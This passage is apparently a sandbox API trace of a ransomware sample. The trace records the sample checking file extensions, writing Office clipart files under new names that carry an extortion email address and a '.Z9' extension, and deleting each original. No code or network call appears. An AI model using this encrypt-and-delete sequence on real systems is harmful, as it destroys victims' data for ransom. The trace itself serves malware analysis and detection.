	[0081.514] lstrlenW (lpString=".rar") returned 4
	[0081.514] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.514] lstrlenW (lpString=".bz2") returned 4
	[0081.514] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.514] lstrlenW (lpString=".7z") returned 3
	[0081.514] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0081.514] lstrlenW (lpString=".dbf") returned 4
	[0081.514] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0081.514] lstrlenW (lpString=".1cd") returned 4
	[0081.514] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0081.514] lstrlenW (lpString=".jpg") returned 4
	[0081.514] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0081.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0081.514] lstrlenW (lpString=".doc") returned 4
	[0081.514] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.514] lstrlenW (lpString=".docx") returned 5
	[0081.514] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.514] lstrlenW (lpString=".pdf") returned 4
	[0081.514] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.514] lstrlenW (lpString=".xls") returned 4
	[0081.514] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.514] lstrlenW (lpString=".xlsx") returned 5
	[0081.515] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.515] lstrlenW (lpString=".ppt") returned 4
	[0081.515] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0081.515] lstrlenW (lpString=".zip") returned 4
	[0081.515] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.515] lstrlenW (lpString=".rar") returned 4
	[0081.515] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.515] lstrlenW (lpString=".bz2") returned 4
	[0081.515] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.515] lstrlenW (lpString=".7z") returned 3
	[0081.515] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0081.515] lstrlenW (lpString=".dbf") returned 4
	[0081.515] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0081.515] lstrlenW (lpString=".1cd") returned 4
	[0081.515] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0081.515] lstrlenW (lpString=".jpg") returned 4
	[0081.515] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.515] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.515] lstrlenW (lpString="AG00163_.GIF") returned 12
	[0081.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.517] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6984) returned 1
	[0081.525] CloseHandle (hObject=0x384) returned 1
	[0081.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220
	[0081.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.526] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.526] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.526] GetLastError () returned 0x0
	[0081.526] ReadFile (in: hFile=0x384, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x1b48, lpOverlapped=0x0) returned 1
	[0081.531] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1b50, lpOverlapped=0x0) returned 1
	[0081.532] ReadFile (in: hFile=0x384, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.532] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.532] SetEndOfFile (hFile=0x370) returned 1
	[0081.532] CloseHandle (hObject=0x370) returned 1
	[0081.533] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.533] SetEndOfFile (hFile=0x384) returned 1
	[0081.534] CloseHandle (hObject=0x384) returned 1
	[0081.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1
	[0081.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0081.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0081.534] lstrlenW (lpString=".doc") returned 4
	[0081.534] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.534] lstrlenW (lpString=".docx") returned 5
	[0081.534] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.534] lstrlenW (lpString=".pdf") returned 4
	[0081.535] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.535] lstrlenW (lpString=".xls") returned 4
	[0081.535] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.535] lstrlenW (lpString=".xlsx") returned 5
	[0081.535] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.535] lstrlenW (lpString=".ppt") returned 4
	[0081.535] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0081.535] lstrlenW (lpString=".zip") returned 4
	[0081.535] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.535] lstrlenW (lpString=".rar") returned 4
	[0081.535] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.535] lstrlenW (lpString=".bz2") returned 4
	[0081.535] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.535] lstrlenW (lpString=".7z") returned 3
	[0081.535] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0081.535] lstrlenW (lpString=".dbf") returned 4
	[0081.535] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0081.535] lstrlenW (lpString=".1cd") returned 4
	[0081.535] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0081.535] lstrlenW (lpString=".jpg") returned 4
	[0081.535] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0081.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0081.535] lstrlenW (lpString=".doc") returned 4
	[0081.535] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.535] lstrlenW (lpString=".docx") returned 5
	[0081.535] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.535] lstrlenW (lpString=".pdf") returned 4
	[0081.535] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.535] lstrlenW (lpString=".xls") returned 4
	[0081.535] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.535] lstrlenW (lpString=".xlsx") returned 5
	[0081.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.536] lstrlenW (lpString=".ppt") returned 4
	[0081.536] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0081.536] lstrlenW (lpString=".zip") returned 4
	[0081.536] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.536] lstrlenW (lpString=".rar") returned 4
	[0081.536] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.536] lstrlenW (lpString=".bz2") returned 4
	[0081.536] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.536] lstrlenW (lpString=".7z") returned 3
	[0081.536] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0081.536] lstrlenW (lpString=".dbf") returned 4
	[0081.536] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0081.536] lstrlenW (lpString=".1cd") returned 4
	[0081.536] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0081.536] lstrlenW (lpString=".jpg") returned 4
	[0081.536] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.536] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.536] lstrlenW (lpString="AG00165_.GIF") returned 12
	[0081.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.543] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=8582) returned 1
	[0081.544] CloseHandle (hObject=0x38c) returned 1
	[0081.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220
	[0081.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.544] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.544] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0081.545] GetLastError () returned 0x0
	[0081.545] ReadFile (in: hFile=0x38c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x2186, lpOverlapped=0x0) returned 1
	[0081.548] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2190, lpOverlapped=0x0) returned 1
	[0081.549] ReadFile (in: hFile=0x38c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.549] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.549] SetEndOfFile (hFile=0x338) returned 1
	[0081.549] CloseHandle (hObject=0x338) returned 1
	[0081.550] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.550] SetEndOfFile (hFile=0x38c) returned 1
	[0081.551] CloseHandle (hObject=0x38c) returned 1
	[0081.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1
	[0081.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0081.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0081.552] lstrlenW (lpString=".doc") returned 4
	[0081.552] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.552] lstrlenW (lpString=".docx") returned 5
	[0081.552] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.552] lstrlenW (lpString=".pdf") returned 4
	[0081.552] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.552] lstrlenW (lpString=".xls") returned 4
	[0081.552] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.552] lstrlenW (lpString=".xlsx") returned 5
	[0081.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.552] lstrlenW (lpString=".ppt") returned 4
	[0081.552] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0081.552] lstrlenW (lpString=".zip") returned 4
	[0081.552] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.552] lstrlenW (lpString=".rar") returned 4
	[0081.552] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.552] lstrlenW (lpString=".bz2") returned 4
	[0081.552] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.552] lstrlenW (lpString=".7z") returned 3
	[0081.552] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0081.552] lstrlenW (lpString=".dbf") returned 4
	[0081.553] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0081.553] lstrlenW (lpString=".1cd") returned 4
	[0081.553] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0081.553] lstrlenW (lpString=".jpg") returned 4
	[0081.553] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0081.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0081.553] lstrlenW (lpString=".doc") returned 4
	[0081.553] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.553] lstrlenW (lpString=".docx") returned 5
	[0081.553] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.553] lstrlenW (lpString=".pdf") returned 4
	[0081.553] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.553] lstrlenW (lpString=".xls") returned 4
	[0081.553] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.553] lstrlenW (lpString=".xlsx") returned 5
	[0081.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.553] lstrlenW (lpString=".ppt") returned 4
	[0081.553] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0081.553] lstrlenW (lpString=".zip") returned 4
	[0081.553] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.553] lstrlenW (lpString=".rar") returned 4
	[0081.553] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.553] lstrlenW (lpString=".bz2") returned 4
	[0081.553] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.553] lstrlenW (lpString=".7z") returned 3
	[0081.553] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0081.553] lstrlenW (lpString=".dbf") returned 4
	[0081.553] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0081.554] lstrlenW (lpString=".1cd") returned 4
	[0081.554] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0081.554] lstrlenW (lpString=".jpg") returned 4
	[0081.554] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.554] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.554] lstrlenW (lpString="AG00169_.GIF") returned 12
	[0081.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.827] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=5375) returned 1
	[0081.828] CloseHandle (hObject=0x384) returned 1
	[0081.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220
	[0081.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.828] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.828] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.829] GetLastError () returned 0x0
	[0081.829] ReadFile (in: hFile=0x384, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x14ff, lpOverlapped=0x0) returned 1
	[0081.830] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1500, lpOverlapped=0x0) returned 1
	[0081.831] ReadFile (in: hFile=0x384, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.831] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.832] SetEndOfFile (hFile=0x370) returned 1
	[0081.832] CloseHandle (hObject=0x370) returned 1
	[0081.833] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.833] SetEndOfFile (hFile=0x384) returned 1
	[0081.833] CloseHandle (hObject=0x384) returned 1
	[0081.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1
	[0081.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0081.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0081.834] lstrlenW (lpString=".doc") returned 4
	[0081.834] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.834] lstrlenW (lpString=".docx") returned 5
	[0081.834] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.834] lstrlenW (lpString=".pdf") returned 4
	[0081.834] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.834] lstrlenW (lpString=".xls") returned 4
	[0081.834] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.834] lstrlenW (lpString=".xlsx") returned 5
	[0081.834] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.834] lstrlenW (lpString=".ppt") returned 4
	[0081.834] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0081.834] lstrlenW (lpString=".zip") returned 4
